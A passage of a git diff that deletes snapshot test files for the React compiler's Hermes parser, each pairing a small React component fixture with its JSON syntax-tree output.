-  const [x] = React.useState(0);
-  const expensiveNumber = React.useMemo(() => calculateExpensiveNumber(x), [x]);
-
-  return <div>{expensiveNumber}</div>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "ImportDeclaration",
-      "specifiers": [
-        {
-          "type": "ImportNamespaceSpecifier",
-          "local": {
-            "type": "Identifier",
-            "name": "React",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              12,
-              17
-            ]
-          },
-          "loc": null,
-          "range": [
-            7,
-            17
-          ]
-        }
-      ],
-      "source": {
-        "type": "StringLiteral",
-        "value": "react",
-        "loc": null,
-        "range": [
-          23,
-          30
-        ]
-      },
-      "loc": null,
-      "range": [
-        0,
-        31
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          42,
-          51
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            52,
-            57
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        70,
-                        71
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    69,
-                    72
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "React",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        75,
-                        80
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "useState",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        81,
-                        89
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      75,
-                      89
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 0.0,
-                      "loc": null,
-                      "range": [
-                        90,
-                        91
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    75,
-                    92
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  69,
-                  92
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              63,
-              93
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "expensiveNumber",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    102,
-                    117
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "React",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        120,
-                        125
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "useMemo",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        126,
-                        133
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      120,
-                      133
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "CallExpression",
-                        "callee": {
-                          "type": "Identifier",
-                          "name": "calculateExpensiveNumber",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            140,
-                            164
-                          ]
-                        },
-                        "arguments": [
-                          {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              165,
-                              166
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          140,
-                          167
-                        ]
-                      },
-                      "generator": true,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        134,
-                        167
-                      ],
-                      "expression": true,
-                      "loc": null,
-                      "range": [
-                        134,
-                        167
-                      ]
-                    },
-                    {
-                      "type": "ArrayExpression",
-                      "elements": [
-                        {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            170,
-                            171
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        169,
-                        172
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    120,
-                    173
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  102,
-                  173
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              96,
-              174
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    186,
-                    189
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  185,
-                  190
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "expensiveNumber",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      191,
-                      206
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    190,
-                    207
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    209,
-                    212
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  207,
-                  213
-                ]
-              },
-              "loc": null,
-              "range": [
-                185,
-                213
-              ]
-            },
-            "loc": null,
-            "range": [
-              178,
-              214
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          59,
-          216
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        33,
-        216
-      ],
-      "loc": null,
-      "range": [
-        33,
-        216
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component2",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          227,
-          237
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            238,
-            243
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        256,
-                        257
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    255,
-                    258
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "React",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        261,
-                        266
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "useState",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        267,
-                        275
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      261,
-                      275
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 0.0,
-                      "loc": null,
-                      "range": [
-                        276,
-                        277
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    261,
-                    278
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  255,
-                  278
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              249,
-              279
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "expensiveNumber",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    288,
-                    303
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "React",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        306,
-                        311
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "useMemo",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        312,
-                        319
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      306,
-                      319
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "CallExpression",
-                        "callee": {
-                          "type": "Identifier",
-                          "name": "calculateExpensiveNumber",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            326,
-                            350
-                          ]
-                        },
-                        "arguments": [
-                          {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              351,
-                              352
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          326,
-                          353
-                        ]
-                      },
-                      "generator": true,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        320,
-                        353
-                      ],
-                      "expression": true,
-                      "loc": null,
-                      "range": [
-                        320,
-                        353
-                      ]
-                    },
-                    {
-                      "type": "ArrayExpression",
-                      "elements": [
-                        {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            356,
-                            357
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        355,
-                        358
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    306,
-                    359
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  288,
-                  359
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              282,
-              360
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    372,
-                    375
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  371,
-                  376
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "expensiveNumber",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      377,
-                      392
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    376,
-                    393
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    395,
-                    398
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  393,
-                  399
-                ]
-              },
-              "loc": null,
-              "range": [
-                371,
-                399
-              ]
-            },
-            "loc": null,
-            "range": [
-              364,
-              400
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          245,
-          402
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        218,
-        402
-      ],
-      "loc": null,
-      "range": [
-        218,
-        402
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    402
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.bug-validate-no-set-state-not-all-mutable-range-extensions-are-bad.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.bug-validate-no-set-state-not-all-mutable-range-extensions-are-bad.js.snap
deleted file mode 100644
index c03a3d464c82..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.bug-validate-no-set-state-not-all-mutable-range-extensions-are-bad.js.snap
+++ /dev/null
@@ -1,813 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.bug-validate-no-set-state-not-all-mutable-range-extensions-are-bad.js
----
-Input:
-function Component(props) {
-  const logEvent = useLogging(props.appId);
-  const [currentStep, setCurrentStep] = useState(0);
-
-  const onSubmit = (errorEvent) => {
-    // 2. onSubmit inherits the mutable range of logEvent
-    logEvent(errorEvent);
-    // 3. this call then triggers the ValidateNoSetStateInRender check incorrectly, even though
-    //    onSubmit is not called during render (although it _could_ be, if OtherComponent does so.
-    //    but we can't tell without x-file analysis)
-    setCurrentStep(1);
-  };
-
-  switch (currentStep) {
-    case 0:
-      return <OtherComponent data={{ foo: "bar" }} />;
-    case 1:
-      return <OtherComponent data={{ foo: "joe" }} onSubmit={onSubmit} />;
-    default:
-      // 1. logEvent's mutable range is extended to this instruction
-      logEvent("Invalid step");
-      return <OtherComponent data={null} />;
-  }
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "logEvent",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    44
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useLogging",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      47,
-                      57
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          58,
-                          63
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "appId",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          64,
-                          69
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        58,
-                        69
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    47,
-                    70
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  70
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              71
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "currentStep",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        81,
-                        92
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "setCurrentStep",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        94,
-                        108
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    80,
-                    109
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useState",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      112,
-                      120
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 0.0,
-                      "loc": null,
-                      "range": [
-                        121,
-                        122
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    112,
-                    123
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  80,
-                  123
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              74,
-              124
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "onSubmit",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    134,
-                    142
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [
-                    {
-                      "type": "Identifier",
-                      "name": "errorEvent",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        146,
-                        156
-                      ]
-                    }
-                  ],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "Identifier",
-                            "name": "logEvent",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              225,
-                              233
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "errorEvent",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                234,
-                                244
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            225,
-                            245
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          225,
-                          246
-                        ]
-                      },
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "Identifier",
-                            "name": "setCurrentStep",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              499,
-                              513
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "NumericLiteral",
-                              "value": 1.0,
-                              "loc": null,
-                              "range": [
-                                514,
-                                515
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            499,
-                            516
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          499,
-                          517
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      161,
-                      521
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    145,
-                    521
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    145,
-                    521
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  134,
-                  521
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              128,
-              522
-            ]
-          },
-          {
-            "type": "SwitchStatement",
-            "discriminant": {
-              "type": "Identifier",
-              "name": "currentStep",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                534,
-                545
-              ]
-            },
-            "cases": [
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    558,
-                    559
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "ReturnStatement",
-                    "argument": {
-                      "type": "JSXElement",
-                      "openingElement": {
-                        "type": "JSXOpeningElement",
-                        "name": {
-                          "type": "JSXIdentifier",
-                          "name": "OtherComponent",
-                          "loc": null,
-                          "range": [
-                            575,
-                            589
-                          ]
-                        },
-                        "attributes": [
-                          {
-                            "type": "JSXAttribute",
-                            "name": {
-                              "type": "JSXIdentifier",
-                              "name": "data",
-                              "loc": null,
-                              "range": [
-                                590,
-                                594
-                              ]
-                            },
-                            "value": {
-                              "type": "JSXExpressionContainer",
-                              "expression": {
-                                "type": "ObjectExpression",
-                                "properties": [
-                                  {
-                                    "type": "Property",
-                                    "key": {
-                                      "type": "Identifier",
-                                      "name": "foo",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        598,
-                                        601
-                                      ]
-                                    },
-                                    "value": {
-                                      "type": "StringLiteral",
-                                      "value": "bar",
-                                      "loc": null,
-                                      "range": [
-                                        603,
-                                        608
-                                      ]
-                                    },
-                                    "kind": "init",
-                                    "method": false,
-                                    "shorthand": false,
-                                    "computed": false,
-                                    "loc": null,
-                                    "range": [
-                                      598,
-                                      608
-                                    ]
-                                  }
-                                ],
-                                "loc": null,
-                                "range": [
-                                  596,
-                                  610
-                                ]
-                              },
-                              "loc": null,
-                              "range": [
-                                595,
-                                611
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              590,
-                              611
-                            ]
-                          }
-                        ],
-                        "selfClosing": true,
-                        "loc": null,
-                        "range": [
-                          574,
-                          614
-                        ]
-                      },
-                      "children": [],
-                      "closingElement": null,
-                      "loc": null,
-                      "range": [
-                        574,
-                        614
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      567,
-                      615
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  553,
-                  615
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    625,
-                    626
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "ReturnStatement",
-                    "argument": {
-                      "type": "JSXElement",
-                      "openingElement": {
-                        "type": "JSXOpeningElement",
-                        "name": {
-                          "type": "JSXIdentifier",
-                          "name": "OtherComponent",
-                          "loc": null,
-                          "range": [
-                            642,
-                            656
-                          ]
-                        },
-                        "attributes": [
-                          {
-                            "type": "JSXAttribute",
-                            "name": {
-                              "type": "JSXIdentifier",
-                              "name": "data",
-                              "loc": null,
-                              "range": [
-                                657,
-                                661
-                              ]
-                            },
-                            "value": {
-                              "type": "JSXExpressionContainer",
-                              "expression": {
-                                "type": "ObjectExpression",
-                                "properties": [
-                                  {
-                                    "type": "Property",
-                                    "key": {
-                                      "type": "Identifier",
-                                      "name": "foo",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        665,
-                                        668
-                                      ]
-                                    },
-                                    "value": {
-                                      "type": "StringLiteral",
-                                      "value": "joe",
-                                      "loc": null,
-                                      "range": [
-                                        670,
-                                        675
-                                      ]
-                                    },
-                                    "kind": "init",
-                                    "method": false,
-                                    "shorthand": false,
-                                    "computed": false,
-                                    "loc": null,
-                                    "range": [
-                                      665,
-                                      675
-                                    ]
-                                  }
-                                ],
-                                "loc": null,
-                                "range": [
-                                  663,
-                                  677
-                                ]
-                              },
-                              "loc": null,
-                              "range": [
-                                662,
-                                678
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              657,
-                              678
-                            ]
-                          },
-                          {
-                            "type": "JSXAttribute",
-                            "name": {
-                              "type": "JSXIdentifier",
-                              "name": "onSubmit",
-                              "loc": null,
-                              "range": [
-                                679,
-                                687
-                              ]
-                            },
-                            "value": {
-                              "type": "JSXExpressionContainer",
-                              "expression": {
-                                "type": "Identifier",
-                                "name": "onSubmit",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  689,
-                                  697
-                                ]
-                              },
-                              "loc": null,
-                              "range": [
-                                688,
-                                698
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              679,
-                              698
-                            ]
-                          }
-                        ],
-                        "selfClosing": true,
-                        "loc": null,
-                        "range": [
-                          641,
-                          701
-                        ]
-                      },
-                      "children": [],
-                      "closingElement": null,
-                      "loc": null,
-                      "range": [
-                        641,
-                        701
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      634,
-                      702
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  620,
-                  702
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": null,
-                "consequent": [
-                  {
-                    "type": "ExpressionStatement",
-                    "expression": {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "logEvent",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          791,
-                          799
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "StringLiteral",
-                          "value": "Invalid step",
-                          "loc": null,
-                          "range": [
-                            800,
-                            814
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        791,
-                        815
-                      ]
-                    },
-                    "directive": null,
-                    "loc": null,
-                    "range": [
-                      791,
-                      816
-                    ]
-                  },
-                  {
-                    "type": "ReturnStatement",
-                    "argument": {
-                      "type": "JSXElement",
-                      "openingElement": {
-                        "type": "JSXOpeningElement",
-                        "name": {
-                          "type": "JSXIdentifier",
-                          "name": "OtherComponent",
-                          "loc": null,
-                          "range": [
-                            831,
-                            845
-                          ]
-                        },
-                        "attributes": [
-                          {
-                            "type": "JSXAttribute",
-                            "name": {
-                              "type": "JSXIdentifier",
-                              "name": "data",
-                              "loc": null,
-                              "range": [
-                                846,
-                                850
-                              ]
-                            },
-                            "value": {
-                              "type": "JSXExpressionContainer",
-                              "expression": {
-                                "type": "NullLiteral",
-                                "loc": null,
-                                "range": [
-                                  852,
-                                  856
-                                ]
-                              },
-                              "loc": null,
-                              "range": [
-                                851,
-                                857
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              846,
-                              857
-                            ]
-                          }
-                        ],
-                        "selfClosing": true,
-                        "loc": null,
-                        "range": [
-                          830,
-                          860
-                        ]
-                      },
-                      "children": [],
-                      "closingElement": null,
-                      "loc": null,
-                      "range": [
-                        830,
-                        860
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      823,
-                      861
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  707,
-                  861
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              526,
-              865
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          867
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        867
-      ],
-      "loc": null,
-      "range": [
-        0,
-        867
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    867
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.call-args-destructuring-asignment-complex.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.call-args-destructuring-asignment-complex.js.snap
deleted file mode 100644
index 8bf1f3c0ed17..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.call-args-destructuring-asignment-complex.js.snap
+++ /dev/null
@@ -1,244 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.call-args-destructuring-asignment-complex.js
----
-Input:
-function Component(props) {
-  let x = makeObject();
-  x.foo(([[x]] = makeObject()));
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      38,
-                      48
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    38,
-                    50
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  50
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              51
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    54,
-                    55
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "foo",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    56,
-                    59
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  54,
-                  59
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "AssignmentExpression",
-                  "operator": "=",
-                  "left": {
-                    "type": "ArrayPattern",
-                    "elements": [
-                      {
-                        "type": "ArrayPattern",
-                        "elements": [
-                          {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              63,
-                              64
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          62,
-                          65
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      61,
-                      66
-                    ]
-                  },
-                  "right": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "makeObject",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        69,
-                        79
-                      ]
-                    },
-                    "arguments": [],
-                    "loc": null,
-                    "range": [
-                      69,
-                      81
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    61,
-                    81
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                54,
-                83
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              54,
-              84
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                94,
-                95
-              ]
-            },
-            "loc": null,
-            "range": [
-              87,
-              96
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          98
